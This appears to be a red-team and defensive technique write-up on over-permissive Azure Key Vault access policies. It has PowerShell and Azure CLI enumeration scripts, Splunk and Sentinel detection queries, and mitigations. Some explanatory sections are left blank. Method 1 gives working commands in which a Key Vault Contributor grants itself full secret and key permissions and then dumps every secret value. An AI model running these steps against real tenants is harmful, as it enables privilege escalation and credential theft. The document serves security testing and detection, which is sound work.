MCADDF

[MISCONFIG-008]: Key Vault Access Policy Overpermission

Metadata

| Attribute | Details | |—|—| | Technique ID | MISCONFIG-008 | | MITRE ATT&CK v18.1 | Cloud Service Discovery (T1526) | | Tactic | Discovery / Credential Access / Privilege Escalation | | Platforms | Azure Key Vault, Entra ID, Azure Resource Manager | | Severity | Critical | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | All Azure Key Vaults using access policies and/or data‑plane RBAC in Azure Resource Manager model | | Patched In | N/A – configuration and role‑design issue; mitigated via Azure RBAC data‑plane permissions, least privilege, and elimination of legacy access policies. | Author | SERVTEPArtur Pchelnikau |


2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Azure Foundations | AZURE 3.x – Key Management | Requires least‑privilege access to Key Vault secrets/keys; discourages broad access policies.| | DISA STIG | SRG‑APP‑000231 / SRG‑APP‑000340 | Key management and protection of cryptographic material; mandate restrictions on who can access cryptographic keys. | | CISA SCuBA | Secrets Management | Guidance to secure cloud key management services and avoid over‑permissioned IAM roles around KMS/KV. | | NIST 800‑53 Rev5 | AC‑3, AC‑6, SC‑12, SC‑13, SC‑28 | Access control, least privilege, cryptographic key management, and protection of information at rest.| | GDPR | Art. 32 | Security of processing; leakage of secrets controlling access to personal data is a control failure. | | DORA | Art. 9 | ICT risk management, including secure cryptographic key management for financial services. | | NIS2 | Art. 21 | Measures for cryptography and key management as part of cyber risk controls. | | ISO 27001:2022 | A.8.24, A.8.28 | Protection of cryptographic keys and secure key lifecycle management. | | ISO 27005 | “Compromise of Central Key Management Service” | Risk scenario describing cascading failures when the central secrets store is breached. |


3. TECHNICAL PREREQUISITES

Supported Versions:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

Connect-AzAccount

Get-AzSubscription | ForEach-Object {
  Set-AzContext -SubscriptionId $_.Id | Out-Null
  Get-AzKeyVault | ForEach-Object {
    $vault = $_
    [PSCustomObject]@{
      Subscription = $_.ResourceId.Split('/')[2]
      VaultName    = $vault.VaultName
      ResourceGroup= $vault.ResourceGroupName
      AccessModel  = if ($vault.EnableRbacAuthorization) { 'RBAC' } else { 'AccessPolicy' }
      PublicAccess = if ($vault.NetworkAcls.DefaultAction -eq 'Allow') { 'Public' } else { 'Restricted' }
    }
  }
} | Format-Table -AutoSize

What to Look For:

Enumerate Access Policies:

$vault = Get-AzKeyVault -VaultName "<vault-name>" -ResourceGroupName "<rg>"
$vault.AccessPolicies | Select-Object DisplayName, ObjectId, TenantId, \
  PermissionsToSecrets, PermissionsToKeys, PermissionsToCertificates

What to Look For:

Azure CLI / Bash Reconnaissance

az keyvault list --query "[].{name:name, resourceGroup:resourceGroup, enableRbacAuthorization:properties.enableRbacAuthorization, defaultAction:properties.networkAcls.defaultAction}" -o table

# For each vault in access policy mode, list access policies
VAULT="<vault-name>"
az keyvault show --name $VAULT -o json | jq '.properties.accessPolicies[] | {objectId, tenantId, permissions}'

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1 – Escalation via Key Vault Contributor and Access Policies

Supported Versions: All Key Vaults using access policy model with principals assigned the Key Vault Contributor role at subscription or resource group scope.

Step 1: Identify Principals with Key Vault Contributor

Objective: Find users or service principals that can modify Key Vault access policies.

Connect-AzAccount

Get-AzRoleAssignment -RoleDefinitionName "Key Vault Contributor" | \
  Select-Object PrincipalName, PrincipalType, Scope

What This Means:

Step 2: Modify Access Policy to Grant Self Full Secret Access

Objective (Attacker / Red Team): As a Key Vault Contributor, add own identity to access policies with full permissions.

$vaultName = "<vault-name>"
$rg        = "<vault-rg>"
$me        = Get-AzADUser -UserPrincipalName "<attacker-upn>"

Set-AzKeyVaultAccessPolicy -VaultName $vaultName -ResourceGroupName $rg `
  -ObjectId $me.Id -PermissionsToSecrets get,list,set,delete,backup,restore,recover,purge `
  -PermissionsToKeys get,list,unwrapKey,wrapKey,sign,verify,backup,restore,recover,purge

Expected Output:

What This Means:

$vault = Get-AzKeyVault -VaultName $vaultName -ResourceGroupName $rg
Get-AzKeyVaultSecret -VaultName $vault.VaultName | ForEach-Object {
  $secret = Get-AzKeyVaultSecret -VaultName $vault.VaultName -Name $_.Name
  [PSCustomObject]@{
    Name  = $secret.Name
    Value = $secret.SecretValueText
  }
}

Expected Output:

References & Proofs:

METHOD 2 – Over‑Broad Access Policies for Dev/Test Groups

Supported Versions: Key Vaults using access policies where entire groups are granted full access for “convenience”.

Step 1: Identify Group‑Scoped Policies

$vault = Get-AzKeyVault -VaultName "<vault-name>" -ResourceGroupName "<rg>"
$vault.AccessPolicies | Where-Object { $_.PermissionsToSecrets -contains 'get' -and $_.DisplayName -like '*Dev*' } |
  Select-Object DisplayName, ObjectId, PermissionsToSecrets, PermissionsToKeys

What This Means:

Step 2: Use Delegated Permissions to Pull Secrets


6. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

There is no dedicated Atomic test for Azure Key Vault access policy privilege escalation, but cloud key‑management abuse is typically modeled under:

Security teams can:


7. TOOLS & COMMANDS REFERENCE

Az.KeyVault PowerShell Module

Install-Module Az.KeyVault -Scope CurrentUser
Import-Module Az.KeyVault

Get-AzKeyVault

Azure CLI – Key Vault

# List vaults and access model
az keyvault list --query "[].{name:name, enableRbac:properties.enableRbacAuthorization}" -o table

# Show access policies
az keyvault show --name <vault-name> -o json | jq '.properties.accessPolicies[]'

Script (One-Liner – Flag Over‑Permissive Policies)

Connect-AzAccount
Get-AzSubscription | ForEach-Object {
  Set-AzContext -SubscriptionId $_.Id | Out-Null
  Get-AzKeyVault | ForEach-Object {
    $v = $_
    if (-not $v.EnableRbacAuthorization) {
      $v.AccessPolicies | Where-Object {
        $_.PermissionsToSecrets -contains 'get' -and $_.PermissionsToSecrets -contains 'list'
      } | Select-Object @{n='Subscription';e={$_.TenantId}},
                        @{n='Vault';e={$v.VaultName}}, DisplayName, PermissionsToSecrets
    }
  }
}

8. SPLUNK DETECTION RULES

Rule 1: Key Vault Access Policies Modified to Grant Broad Access

Rule Configuration:

SPL Query:

index=azure_activity ResourceProviderValue="MICROSOFT.KEYVAULT" \
  (operationName="Microsoft.KeyVault/vaults/write" OR \
   operationName="Microsoft.KeyVault/vaults/accessPolicies/write")
| eval props = spath(_raw, "properties")
| eval response = spath(props, "responseBody"),
       accessPolicies = spath(response, "properties.accessPolicies{}")
| mvexpand accessPolicies
| eval permsSecrets = spath(accessPolicies, "permissions.secrets{}"),
       permsKeys    = spath(accessPolicies, "permissions.keys{}"),
       objectId     = spath(accessPolicies, "objectId")
| where mvfind(permsSecrets, "get")>=0 AND mvfind(permsSecrets, "list")>=0 AND mvcount(permsSecrets)>=4
| stats latest(_time) AS lastChange, values(permsSecrets) AS perms BY resourceId, objectId

What This Detects:

Source: Datadog Security Labs research on Key Vault Contributor and access policies; Microsoft Key Vault security best practices.


9. MICROSOFT SENTINEL DETECTION

Query 1: Key Vault Access Policy Escalation

Rule Configuration:

KQL Query:

AzureActivity
| where ResourceProviderValue == "MICROSOFT.KEYVAULT"
| where OperationNameValue in ("MICROSOFT.KEYVAULT/VAULTS/WRITE", 
                               "MICROSOFT.KEYVAULT/VAULTS/ACCESSPOLICIES/WRITE")
| extend props = parse_json(Properties)
| extend response = parse_json(tostring(props.responseBody))
| extend aps = response.properties.accessPolicies
| mv-expand aps
| extend objId = tostring(aps.objectId),
         permsSecrets = tostring(aps.permissions.secrets),
         permsKeys    = tostring(aps.permissions.keys)
| where permsSecrets has "get" and permsSecrets has "list" and permsSecrets has "delete"
| project TimeGenerated, ResourceId, objId, permsSecrets, permsKeys, Caller

What This Detects:

Source: Microsoft guidance on secure Key Vault configuration and Defender for Cloud identity recommendations.


10. WINDOWS EVENT LOG MONITORING

Key Vault actions are cloud‑side; Windows event logs help only to attribute use of tooling from admin workstations (PowerShell, Azure CLI). Enable:


11. SYSMON DETECTION PATTERNS

Sysmon can watch for repeated execution of key‑management scripts from non‑admin endpoints, but primary telemetry should be cloud‑side.


12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Examples:

Manual Configuration Steps:

  1. Defender for Cloud → Environment settings → select subscription.
  2. Enable Defender for Key Vault where available.
  3. Follow recommendation “Key vault should use RBAC permission model” to migrate to RBAC.
  4. Enable alerts for anomalous Key Vault access.

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Key Vault data‑plane operations are not logged in the M365 unified audit log, but:


14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Fix)

Connect-AzAccount
Get-AzSubscription | ForEach-Object {
  Set-AzContext -SubscriptionId $_.Id | Out-Null
  Get-AzKeyVault | ForEach-Object {
    $v = $_
    if (-not $v.EnableRbacAuthorization) {
      Write-Output "[!] Vault $($v.VaultName) still using access policies"
    }
    elseif ($v.EnableRbacAuthorization -and $v.AccessPolicies.Count -gt 0) {
      Write-Output "[!] Vault $($v.VaultName) has RBAC enabled but still contains access policies (check IaC templates)."
    }
  }
}

Expected Output (If Secure):


15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Temporarily revoke suspect access policies or disable compromised identities.
  2. Collect Evidence:
    • Export Key Vault logs, role assignments, and access policies for the affected timeframe.
  3. Remediate:
    • Rotate all secrets/keys exposed in the compromised vault; update dependent services.
    • Migrate to RBAC model and apply least privilege.

Step Phase Technique Description
1 Discovery REC-CLOUD-007 – Azure Key Vault access enumeration Attacker identifies vaults and principals with access.
2 Privilege Escalation MISCONFIG-008 – Key Vault Access Policy Overpermission Abuses Contributor role or broad access policies to gain data‑plane access.
3 Credential Access CA-UNSC-007/008/009 – Key Vault secrets/keys extraction Attacker exports secrets, keys, and certificates.
4 Lateral Movement CA-TOKEN-003/010 – Use of extracted secrets to access downstream services Compromise of storage, SQL, or other apps.
5 Impact DATA-EXFIL-XXX Exfiltration of sensitive data using newly obtained credentials.

17. REAL-WORLD EXAMPLES

Example 1: Key Vault Contributor Role Abuse (Research Case Study)

Example 2: Over‑Permissive Access Policies in Production Vaults